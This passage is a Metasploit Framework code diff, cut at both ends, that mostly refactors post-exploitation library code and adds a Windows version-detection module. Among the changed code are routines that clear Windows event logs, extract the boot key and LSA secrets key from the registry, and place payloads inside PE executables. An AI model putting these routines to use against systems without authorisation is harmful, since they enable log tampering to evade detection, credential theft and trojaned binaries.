+ # Which in turn becomes the string "don't" (sans double quotes) inside PowerShell. + # + # @param string [String] The string to escape for use with powershell.exe. + # @return [String] The escaped string. + def self.escape_powershell_literal(string) + string = string.dup + string.gsub!("'", "''") + string + end end diff --git a/lib/msf/core/post/windows/eventlog.rb b/lib/msf/core/post/windows/eventlog.rb index 8714b162161ef..db243efb3fe0a 100644 --- a/lib/msf/core/post/windows/eventlog.rb +++ b/lib/msf/core/post/windows/eventlog.rb @@ -1,60 +1,59 @@ # -*- coding: binary -*- -module Msf -class Post -module Windows -module Eventlog +module Msf + class Post + module Windows + module Eventlog + include Msf::Post::Windows::Version - def initialize(info = {}) - super( - update_info( - info, - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_sys_config_sysinfo - stdapi_sys_eventlog_* - ] - } - } - ) - ) - end + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_sys_eventlog_* + ] + } + } + ) + ) + end - # - # Enumerate eventlogs - # - def eventlog_list - key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" - if session.sys.config.sysinfo['OS'] =~ /Windows 2003|\.Net|XP|2000/ - key = "#{key}Eventlog" - else - key = "#{key}eventlog" - end - eventlogs = registry_enumkeys(key) - return eventlogs - end + # + # Enumerate eventlogs + # + def eventlog_list + key = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\' + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Server2003_SP2) + key = "#{key}Eventlog" + else + key = "#{key}eventlog" + end + eventlogs = registry_enumkeys(key) + return eventlogs + end - # - # Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs - # that where cleared. - # - def eventlog_clear(evt = "") - evntlog = [] - if evt.empty? - evntlog = eventloglist - else - evntlog << evt - end - evntlog.each do |e| - log = session.sys.eventlog.open(e) - log.clear + # + # Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs + # that where cleared. + # + def eventlog_clear(evt = '') + evntlog = [] + if evt.empty? + evntlog = eventloglist + else + evntlog << evt + end + evntlog.each do |e| + log = session.sys.eventlog.open(e) + log.clear + end + return evntlog + end + end end - return evntlog end - - -end -end -end end diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 94e1bdb3988c6..9ac0ebc703d64 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -3,17 +3,18 @@ module Msf::Post::Windows::Priv include ::Msf::Post::Windows::Accounts include Msf::Post::Windows::Registry + include Msf::Post::Windows::Version include Msf::Util::WindowsCryptoHelpers INTEGRITY_LEVEL_SID = { - :low => 'S-1-16-4096', - :medium => 'S-1-16-8192', - :high => 'S-1-16-12288', - :system => 'S-1-16-16384' - } + low: 'S-1-16-4096', + medium: 'S-1-16-8192', + high: 'S-1-16-12288', + system: 'S-1-16-16384' + }.freeze - SYSTEM_SID = 'S-1-5-18' - ADMINISTRATORS_SID = 'S-1-5-32-544' + SYSTEM_SID = 'S-1-5-18'.freeze + ADMINISTRATORS_SID = 'S-1-5-32-544'.freeze # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx # ConsentPromptBehaviorAdmin @@ -50,7 +51,11 @@ def initialize(info = {}) def is_admin? if session_has_ext # Assume true if the OS doesn't expose this (Windows 2000) - return session.railgun.shell32.IsUserAnAdmin()['return'] rescue true + begin + return session.railgun.shell32.IsUserAnAdmin()['return'] + rescue StandardError + true + end end local_service_key = registry_enumkeys('HKU\S-1-5-19') @@ -99,7 +104,6 @@ def steal_token(computer_name, user_name) true end - # # Returns true if in the administrator group # @@ -107,7 +111,7 @@ def is_in_admin_group? whoami = get_whoami if whoami.nil? - print_error("Unable to identify admin group membership") + print_error('Unable to identify admin group membership') return nil elsif whoami.include? ADMINISTRATORS_SID return true @@ -137,19 +141,16 @@ def is_system? # def is_uac_enabled? uac = false - winversion = session.sys.config.sysinfo['OS'] - - if winversion =~ /Windows (Vista|7|8|2008|2012|10|2016|2019)/ - unless is_system? - begin - enable_lua = registry_getvaldata( - 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - 'EnableLUA' - ) - uac = (enable_lua == 1) - rescue Rex::Post::Meterpreter::RequestError => e - print_error("Error Checking if UAC is Enabled: #{e.class} #{e}") - end + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 && !is_system? + begin + enable_lua = registry_getvaldata( + 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + 'EnableLUA' + ) + uac = (enable_lua == 1) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Error Checking if UAC is Enabled: #{e.class} #{e}") end end return uac @@ -164,8 +165,8 @@ def is_uac_enabled? def get_uac_level begin uac_level = registry_getvaldata( - 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - 'ConsentPromptBehaviorAdmin' + 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + 'ConsentPromptBehaviorAdmin' ) rescue Rex::Post::Meterpreter::RequestError => e print_error("Error Checking UAC Level: #{e.class} #{e}") @@ -185,10 +186,10 @@ def get_integrity_level whoami = get_whoami if whoami.nil? - print_error("Unable to identify integrity level") + print_error('Unable to identify integrity level') return nil else - INTEGRITY_LEVEL_SID.each_pair do |k,sid| + INTEGRITY_LEVEL_SID.each_pair do |_k, sid| if whoami.include? sid return sid end @@ -212,9 +213,9 @@ def is_high_integrity? def get_whoami whoami = cmd_exec('cmd.exe /c whoami /groups') - if whoami.nil? or whoami.empty? + if whoami.nil? || whoami.empty? return nil - elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ + elsif whoami =~ (/is not recognized/) || whoami =~ (/extra operand/) || whoami =~ (/Access is denied/) return nil else return whoami @@ -225,37 +226,36 @@ def get_whoami # Return true if the session has extended capabilities (ie meterpreter) # def session_has_ext - begin - return !!(session.railgun and session.sys.config) - rescue NoMethodError - return false - end + return !!(session.railgun and session.sys.config) + rescue NoMethodError + return false end # # Returns the unscrambled bootkey # def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" + bootkey = '' + basekey = 'System\\CurrentControlSet\\Control\\Lsa' - %W{JD Skew1 GBG Data}.each do |k| + %w[JD Skew1 GBG Data].each do |k| begin - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + '\\' + k, KEY_READ) rescue Rex::Post::Meterpreter::RequestError end - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") + return nil if !ok + + bootkey << [ok.query_class.to_i(16)].pack('V') ok.close end - keybytes = bootkey.unpack("C*") - descrambled = "" + keybytes = bootkey.unpack('C*') + descrambled = '' descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [keybytes[descrambler[x]]].pack("C") + 0.upto(keybytes.length - 1) do |x| + descrambled << [keybytes[descrambler[x]]].pack('C') end return descrambled @@ -267,39 +267,39 @@ def capture_boot_key # @note This requires the session be running as SYSTEM # def capture_lsa_key(bootkey) - vprint_status("Getting PolSecretEncryptionKey...") - pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "") + vprint_status('Getting PolSecretEncryptionKey...') + pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey', '') if pol - print_status("XP or below system") + print_status('XP or below system') @lsa_vista_style = false - md5x = Digest::MD5.new() + md5x = Digest::MD5.new md5x << bootkey - (1..1000).each do - md5x << pol[60,16] + 1000.times do + md5x << pol[60, 16] end - rc4 = OpenSSL::Cipher.new("rc4") + rc4 = OpenSSL::Cipher.new('rc4') rc4.decrypt rc4.key = md5x.digest - lsa_key = rc4.update(pol[12,48]) + lsa_key = rc4.update(pol[12, 48]) lsa_key << rc4.final lsa_key = lsa_key[0x10..0x1F] else - print_status("Vista or above system") + print_status('Vista or above system') @lsa_vista_style = true vprint_status("Trying 'V72' style...") - vprint_status("Getting PolEKList...") - pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "") + vprint_status('Getting PolEKList...') + pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '') # If that didn't work, then we're out of luck return nil if pol.nil? lsa_key = decrypt_lsa_data(pol, bootkey) - lsa_key = lsa_key[68,32] + lsa_key = lsa_key[68, 32] end - vprint_good(lsa_key.unpack("H*")[0]) + vprint_good(lsa_key.unpack('H*')[0]) return lsa_key end @@ -309,10 +309,9 @@ def capture_lsa_key(bootkey) # registry key, false otherwise. def lsa_vista_style? if @lsa_vista_style.nil? - @lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")) + @lsa_vista_style = !registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '').nil? end @lsa_vista_style end - end diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 19f8a4b618176..d3dc129956492 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -668,7 +668,7 @@ def meterpreter_registry_key_exist?(key) begin check = session.sys.registry.check_key_exists(root_key, base_key) - rescue Rex::Post::Meterpreter::RequestError, TimesoutError + rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError return false end diff --git a/lib/msf/core/post/windows/task_scheduler.rb b/lib/msf/core/post/windows/task_scheduler.rb index 32bbccb68f2c4..c37d18b0c53e9 100644 --- a/lib/msf/core/post/windows/task_scheduler.rb +++ b/lib/msf/core/post/windows/task_scheduler.rb @@ -263,20 +263,19 @@ def task_query(task_name, opts = {}) def check_compatibility # Check Windows version to make sure we will use the correct supported command flags - # - `schtasks.exe` on Windows prior to Windows Server 2003 SP2 has + # - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has # some different `/create` option flags. - # - `schtasks.exe` on Windows until Server 2003 SP2 has some - # different `/query` option flags. + # - `schtasks.exe` on Windows prior to Vista has some + # different `/query` option flags - set @old_os to true # Also, on these OSes, `reg.exe` does not support the `/reg:64` flag. + @old_schtasks = false @old_os = false - return unless sysinfo - match = sysinfo['OS'].match(/(?[\d.]+) Build/) - return unless match - if Rex::Version.new((match[:version])) < Rex::Version.new('6.0') + version = get_version_info + if version.build_number < Msf::WindowsVersion::Vista_SP0 @old_os = true - unless sysinfo['OS'].include?('5.2 Build 3790, Service Pack 2') + if version.build_number < Msf::WindowsVersion::Server2003_SP1 @old_schtasks = true end if datastore['ScheduleRemoteSystem'].present? diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb new file mode 100644 index 0000000000000..f25a3cfe3bc34 --- /dev/null +++ b/lib/msf/core/post/windows/version.rb @@ -0,0 +1,153 @@ +# -*- coding: binary -*- + +module Msf::Post::Windows::Version + include Msf::Post::Windows::Registry + + class Error < RuntimeError + end + + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + ] + } + } + ) + ) + end + + def get_version_info + result = get_version_info_impl + if result.nil? + print_error("Couldn't retrieve the target's build number!") + raise Error, "Couldn't retrieve the target's build number!" + end + + result + end + + def get_version_info_fallback_impl + build_num_raw = cmd_exec('ver') + groups = build_num_raw.match(/.*Version\s+(\d+)\.(\d+)\.(\d+)(?:\.(\d+))?/) + if groups.nil? + return nil + end + + major, minor, build, _revision = groups.captures + # Default to workstation, since it'll likely be an older OS - pre Server editions + return Msf::WindowsVersion.new(major.to_i, minor.to_i, build.to_i, 0, Msf::WindowsVersion::VER_NT_WORKSTATION) + end + + def get_version_info_impl + if session.type == 'meterpreter' + result = session.railgun.ntdll.RtlGetVersion(input_os_version_info_ex) + os_version_info_ex = unpack_version_info(result['VersionInformation']) + major = os_version_info_ex[1] + minor = os_version_info_ex[2] + build = os_version_info_ex[3] + service_pack = os_version_info_ex[6] + product_type = os_version_info_ex[9] + + Msf::WindowsVersion.new(major, minor, build, service_pack, product_type) + else + # Command shell - we'll try reg commands, and fall back to `ver` + build_str = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentBuildNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + if build_str.nil? + return get_version_info_fallback_impl + end + + version_str = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + if version_str.nil? + return get_version_info_fallback_impl + end + + build_num = build_str.to_i + version_match = version_str.match(/(\d+)\.(\d+)/) + if version_match.nil? + return get_version_info_fallback_impl + end + + major, minor = version_match.captures + major = major.to_i + minor = minor.to_i + + product = shell_registry_getvaldata('HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions', 'ProductType', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + case product + when 'WinNT' + product_type = Msf::WindowsVersion::VER_NT_WORKSTATION + when 'LanmanNT' + product_type = Msf::WindowsVersion::VER_NT_DOMAIN_CONTROLLER + when 'ServerNT' + product_type = Msf::WindowsVersion::VER_NT_SERVER + else + product_type = Msf::WindowsVersion::VER_NT_WORKSTATION + end + + if (major == 6) && (minor == 3) && (build_num > 9600) # 9600 is Windows 8.1 build number + # This is Windows 10+ - the version numbering is calculated differently + major = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMajorVersionNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + minor = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMinorVersionNumber', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + if major.nil? || minor.nil? + return get_version_info_fallback_impl + end + + Msf::WindowsVersion.new(major, minor, build_num, 0, product_type) + else + # Pre-Windows 10 + service_pack_raw = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + if service_pack_raw.nil? && (major >= 6) + # Some older versions didn't put the Service Pack value in both 32 and 64-bit versions of the registry - look there specifically + service_pack_raw = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_32_BIT) + end + service_pack = 0 + unless service_pack_raw.nil? + match = service_pack_raw.match(/Service Pack (\d+)/) + unless match.nil? + service_pack = match[1].to_i + end + end + + Msf::WindowsVersion.new(major, minor, build_num, service_pack, product_type) + end + end + end + + private + + def empty_os_version_info_ex + [ + 0, + 0, + 0, + 0, + 0, + '', + 0, + 0, + 0, + 0, + 0 + ] + end + + def pack_version_info(info) + info.pack('VVVVVa256vvvCC') + end + + def unpack_version_info(bytes) + bytes.unpack('VVVVVa256vvvCC') + end + + def input_os_version_info_ex + input = empty_os_version_info_ex + size = pack_version_info(input).size + input[0] = size + + pack_version_info(input) + end +end diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 155f9b36bcdab..e12e684df8378 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -49,6 +49,12 @@ def setup # for its platform, capabilities, etc. check_for_session_readiness if session.type == "meterpreter" + if session.type.ends_with?(':winpty') + raise Msf::OptionValidateError.new({ + 'SESSION' => 'Session does not support post modules.' + }) + end + incompatibility_reasons = session_incompatibility_reasons(session) if incompatibility_reasons.any? print_warning("SESSION may not be compatible with this module:") diff --git a/lib/msf/core/windows_version.rb b/lib/msf/core/windows_version.rb new file mode 100644 index 0000000000000..ff3de2d7e5511 --- /dev/null +++ b/lib/msf/core/windows_version.rb @@ -0,0 +1,177 @@ +# -*- coding: binary -*- + +module Msf + # + # Represents the version of a Windows operating system + # + class WindowsVersion + + VER_NT_WORKSTATION = 1 + VER_NT_DOMAIN_CONTROLLER = 2 + VER_NT_SERVER = 3 + + Win2000 = Rex::Version.new('5.0.2195') + XP_SP0 = Rex::Version.new('5.1.2600.0') + XP_SP1 = Rex::Version.new('5.1.2600.1') + XP_SP2 = Rex::Version.new('5.1.2600.2') + XP_SP3 = Rex::Version.new('5.1.2600.3') + Server2003_SP0 = Rex::Version.new('5.2.3790.0') + Server2003_SP1 = Rex::Version.new('5.2.3790.1') + Server2003_SP2 = Rex::Version.new('5.2.3790.2') + Vista_SP0 = Server2008_SP0 = Rex::Version.new('6.0.6000.0') + Vista_SP1 = Server2008_SP1 = Rex::Version.new('6.0.6001.1') + Vista_SP2 = Server2008_SP2 = Rex::Version.new('6.0.6002.2') + Win7_SP0 = Server2008_R2_SP0 = Rex::Version.new('6.1.7600.0') + Win7_SP1 = Server2008_R2_SP1 = Rex::Version.new('6.1.7601.1') + Win8 = Server2012 = Rex::Version.new('6.2.9200.0') + Win81 = Server2012_R2 = Rex::Version.new('6.3.9600.0') + Win10_1507 = Win10_InitialRelease = Rex::Version.new('10.0.10240.0') + Win10_1511 = Rex::Version.new('10.0.10586.0') + Win10_1607 = Server2016 = Rex::Version.new('10.0.14393.0') + Win10_1703 = Rex::Version.new('10.0.15063.0') + Win10_1709 = Rex::Version.new('10.0.16299.0') + Win10_1803 = Rex::Version.new('10.0.17134.0') + Win10_1809 = Server2019 = Rex::Version.new('10.0.17763.0') + Win10_1903 = Rex::Version.new('10.0.18362.0') + Win10_1909 = Rex::Version.new('10.0.18363.0') + Win10_2004 = Rex::Version.new('10.0.19041.0') + Win10_20H2 = Rex::Version.new('10.0.19042.0') + Win10_21H1 = Rex::Version.new('10.0.19043.0') + Win10_21H2 = Rex::Version.new('10.0.19044.0') + Win10_22H2 = Rex::Version.new('10.0.19045.0') + Server2022 = Rex::Version.new('10.0.20348.0') + Win11_21H2 = Rex::Version.new('10.0.22000.0') + Win11_22H2 = Rex::Version.new('10.0.22621.0') + + module MajorRelease + NT351 = 'Windows NT 3.51'.freeze + Win95 = 'Windows 95'.freeze + Win98 = 'Windows 98'.freeze + WinME = 'Windows ME'.freeze + Win2000 = 'Windows 2000'.freeze + + XP = 'Windows XP'.freeze + Server2003 = 'Windows Server 2003'.freeze + + Vista = 'Windows Vista'.freeze + Server2008 = 'Windows Server 2008'.freeze + + Win7 = 'Windows 7'.freeze + Server2008R2 = 'Windows 2008 R2'.freeze + + Win8 = 'Windows 8'.freeze + Server2012 = 'Windows Server 2012'.freeze + + Win81 = 'Windows 8.1'.freeze + Server2012R2 = 'Windows Server 2012 R2'.freeze + + Win10Plus = 'Windows 10+'.freeze + Server2016Plus = 'Windows Server 2016+'.freeze + end + + def initialize(major, minor, build, service_pack, product_type) + self._major = major + self._minor = minor + self._build = build + self._service_pack = service_pack + self.product_type = product_type + end + + # The specific build number of this version (major.minor.build.service_pack) + def build_number + Rex::Version.new("#{_major}.#{_minor}.#{_build}.#{_service_pack}") + end + + # Is this OS a Windows Server instance? + def windows_server? + # There are other types than just workstation/server/DC, but Microsoft's own documentation says + # "If it's not Workstation, then it's Server" + # https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoexa + product_type != VER_NT_WORKSTATION + end + + # Is this a Workstation build? + def workstation? + product_type == VER_NT_WORKSTATION + end + + # This Windows Server has been promoted to a DC + def domain_controller? + product_type == VER_NT_DOMAIN_CONTROLLER + end + + # The name of the OS, as it is most commonly rendered. Includes Service Pack if present, or build number if Win10 or higher. + def product_name + result = "Unknown Windows version: #{_major}.#{_minor}.#{_build}" + name = major_release_name + result = name unless name.nil? + result = "#{result} Service Pack #{_service_pack}" if _service_pack != 0 + result = "#{result} Build #{_build}" if build_number >= Win10_InitialRelease + + result + end + + def to_s + product_name + end + + # Is this version number from the Vista/Server 2008 generation of Windows OSes + def vista_or_2008? + build_number.between?(Vista_SP0, Vista_SP2) + end + + # Is this version number from the Windows 7/Server 2008 R2 generation of Windows OSes + def win7_or_2008r2? + build_number.between?(Win7_SP0, Win7_SP1) + end + + # Is this version number from the XP/Server 2003 generation of Windows OSes + def xp_or_2003? + build_number.between?(XP_SP0, Server2003_SP2) + end + + private + + attr_accessor :_major, :_minor, :_build, :_service_pack, :product_type + + # The major release within which this build fits + def major_release_name + if _major == 5 + if _minor == 0 + return MajorRelease::Win2000 + elsif _minor == 1 + return MajorRelease::XP + elsif _minor == 2 + return MajorRelease::Server2003 if windows_server? + + return MajorRelease::XP + end + elsif _major == 6 + if _minor == 0 + return MajorRelease::Server2008 if windows_server? + + return MajorRelease::Vista + elsif _minor == 1 + return MajorRelease::Server2008R2 if windows_server? + + return MajorRelease::Win7 + elsif _minor == 2 + return MajorRelease::Server2012 if windows_server? + + return MajorRelease::Win8 + elsif _minor == 3 + return MajorRelease::Server2012R2 if windows_server? + + return MajorRelease::Win81 + end + elsif _major == 10 + if _minor == 0 + return MajorRelease::Server2016Plus if windows_server? + + return MajorRelease::Win10Plus + end + end + return nil + end + end +end diff --git a/lib/msf/ui/console/command_dispatcher/developer.rb b/lib/msf/ui/console/command_dispatcher/developer.rb index 77d301c85241f..0012e8e261332 100644 --- a/lib/msf/ui/console/command_dispatcher/developer.rb +++ b/lib/msf/ui/console/command_dispatcher/developer.rb @@ -200,6 +200,7 @@ def cmd_edit_help print_line 'Usage: edit [file/to/edit]' print_line print_line "Edit the currently active module or a local file with #{local_editor}." + print_line 'To change the preferred editor, you can "setg LocalEditor".' print_line 'If a library file is specified, it will automatically be reloaded after editing.' print_line 'Otherwise, you can reload the active module with "reload" or "rerun".' print_line @@ -301,6 +302,7 @@ def cmd_log_help print_line 'Usage: log' print_line print_line 'Display framework.log paged to the end if possible.' + print_line 'To change the preferred pager, you can "setg LocalPager".' print_line 'For full effect, "setg LogLevel 3" before running modules.' print_line print_line "Log location: #{File.join(Msf::Config.log_directory, 'framework.log')}" @@ -403,7 +405,7 @@ def cmd_time(*args) begin start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC) - command = args.join(' ') + command = Shellwords.shelljoin(args) case profiler when '--cpu' diff --git a/lib/msf/ui/console/command_dispatcher/evasion.rb b/lib/msf/ui/console/command_dispatcher/evasion.rb index 47ac4d3a6f316..6f497e5770672 100644 --- a/lib/msf/ui/console/command_dispatcher/evasion.rb +++ b/lib/msf/ui/console/command_dispatcher/evasion.rb @@ -91,10 +91,22 @@ def cmd_to_handler(*_args) } handler.share_datastore(mod.datastore) - handler.exploit_simple(handler_opts) - job_id = handler.job_id - print_status "Payload Handler Started as Job #{job_id}" + replicant_handler = nil + handler.exploit_simple(handler_opts) do |yielded_replicant_handler| + replicant_handler = yielded_replicant_handler + end + + if replicant_handler.nil? + print_error('Failed to run module') + return + end + + if replicant_handler.error.nil? + job_id = handler.job_id + + print_status "Payload Handler Started as Job #{job_id}" + end end end end diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb index 2b3c7af446d4c..2d0d514bbdbb7 100644 --- a/lib/msf/ui/console/command_dispatcher/payload.rb +++ b/lib/msf/ui/console/command_dispatcher/payload.rb @@ -59,10 +59,22 @@ def cmd_to_handler(*_args) } handler.share_datastore(mod.datastore) - handler.exploit_simple(handler_opts) - job_id = handler.job_id - print_status "Payload Handler Started as Job #{job_id}" + replicant_handler = nil + handler.exploit_simple(handler_opts) do |yielded_replicant_handler| + replicant_handler = yielded_replicant_handler + end + + if replicant_handler.nil? + print_error('Failed to run module') + return + end + + if replicant_handler.error.nil? + job_id = handler.job_id + + print_status "Payload Handler Started as Job #{job_id}" + end end alias cmd_exploit cmd_to_handler diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 09b424a1802f4..a26b2c54553f8 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -306,8 +306,8 @@ def self.to_win32pe(framework, code, opts = {}) block = blocks.first # TODO: Allow the entry point in a different block - if payload.length + 256 > block[1] - raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" + if payload.length + 256 >= block[1] + raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})" end # Make a copy of the entire .text section @@ -328,8 +328,8 @@ def self.to_win32pe(framework, code, opts = {}) poff += 256 eidx = rand(poff-(entry.length + 5)) else # place the entry pointer after the payload - poff -= 256 - eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length + poff -= [256, poff].min + eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length end # Relative jump from the end of the nops to the payload diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 4b650226081ad..52ebd27d5e9d6 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -153,11 +153,16 @@ def initialize(client, cid, type, flags, packet, **_) def self.finalize(client, cid) proc { unless cid.nil? - begin - self._close(client, cid) - rescue => e - elog("finalize method for Channel failed", error: e) + deferred_close_proc = proc do + begin + self._close(client, cid) + rescue => e + elog("finalize method for Channel failed", error: e) + end end + + # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes + client.framework.sessions.schedule(deferred_close_proc) end } end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb b/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb index 2cdf10658eb87..bff8669904aee 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb @@ -129,6 +129,7 @@ module Stdapi COMMAND_ID_STDAPI_AUDIO_MIC_LIST = EXTENSION_ID_STDAPI + 117 COMMAND_ID_STDAPI_SYS_PROCESS_SET_TERM_SIZE = EXTENSION_ID_STDAPI + 118 COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH = EXTENSION_ID_STDAPI + 119 +COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN = EXTENSION_ID_STDAPI + 120 end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb index 1194632f2a105..cb729b30a0def 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb @@ -1,186 +1,187 @@ # -*- coding: binary -*- -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Railgun -module Def - -class Def_windows_ntdll - - def self.create_library(constant_manager, library_path = 'ntdll') - dll = Library.new(library_path, constant_manager) - - dll.add_function('NtAllocateVirtualMemory', 'DWORD',[ - ["DWORD","ProcessHandle","in"], - ["PBLOB","BaseAddress","inout"], - ["PDWORD","ZeroBits","in"], - ["PBLOB","RegionSize","inout"], - ["DWORD","AllocationType","in"], - ["DWORD","Protect","in"] - ]) - - dll.add_function('NtClose', 'DWORD',[ - ["DWORD","Handle","in"], - ]) - - dll.add_function('NtCreateFile', 'DWORD',[ - ["PHANDLE","FileHandle","inout"], - ["DWORD","DesiredAccess","in"], - ["PBLOB","ObjectAttributes","in"], - ["PBLOB","IoStatusBlock","inout"], - ["PBLOB","AllocationSize","in"], - ["DWORD","FileAttributes","in"], - ["DWORD","ShareAccess","in"], - ["DWORD","CreateDisposition","in"], - ["DWORD","CreateOptions","in"], - ["PBLOB","EaBuffer","in"], - ["DWORD","EaLength","in"], - ]) - - dll.add_function('NtDeviceIoControlFile', 'DWORD',[ - ["DWORD","FileHandle","in"], - ["DWORD","Event","in"], - ["LPVOID","ApcRoutine","in"], - ["LPVOID","ApcContext","in"], - ["PDWORD","IoStatusBlock","out"], - ["DWORD","IoControlCode","in"], - ["LPVOID","InputBuffer","in"], - ["DWORD","InputBufferLength","in"], - ["LPVOID","OutputBuffer","in"], - ["DWORD","OutputBufferLength","in"], - ]) - - dll.add_function('NtOpenFile', 'DWORD',[ - ["PHANDLE","FileHandle","inout"], - ["DWORD","DesiredAccess","in"], - ["PBLOB","ObjectAttributes","in"], - ["PBLOB","IoStatusBlock","inout"], - ["DWORD","ShareAccess","in"], - ["DWORD","OpenOptions","in"], - ]) - - dll.add_function('NtQueryInformationProcess', 'DWORD',[ - ["DWORD","ProcessHandle","in"], - ["DWORD","ProcessInformationClass","in"], - ["PBLOB","ProcessInformation","inout"], - ["DWORD","ProcessInformationLength","in"], - ["PDWORD","ReturnLength","inout"], - ]) - - dll.add_function('NtQueryInformationThread', 'DWORD',[ - ["DWORD","ThreadHandle","in"], - ["DWORD","ThreadInformationClass","in"], - ["PBLOB","ThreadInformation","inout"], - ["DWORD","ThreadInformationLength","in"], - ["PDWORD","ReturnLength","inout"], - ]) - - dll.add_function('NtQueryIntervalProfile', 'DWORD',[ - ["DWORD","ProfileSource","in"], - ["PDWORD","Interval","out"], - ]) - - dll.add_function('NtQuerySystemInformation', 'DWORD',[ - ["DWORD","SystemInformationClass","in"], - ["PBLOB","SystemInformation","inout"], - ["DWORD","SystemInformationLength","in"], - ["PDWORD","ReturnLength","inout"], - ]) - - dll.add_function('NtQuerySystemTime', 'DWORD',[ - ["PBLOB","SystemTime","inout"], - ]) - - dll.add_function('NtWaitForSingleObject', 'DWORD',[ - ["DWORD","Handle","in"], - ["BOOL","Alertable","in"], - ["PBLOB","Timeout","in"], - ]) - - dll.add_function('RtlCharToInteger', 'DWORD',[ - 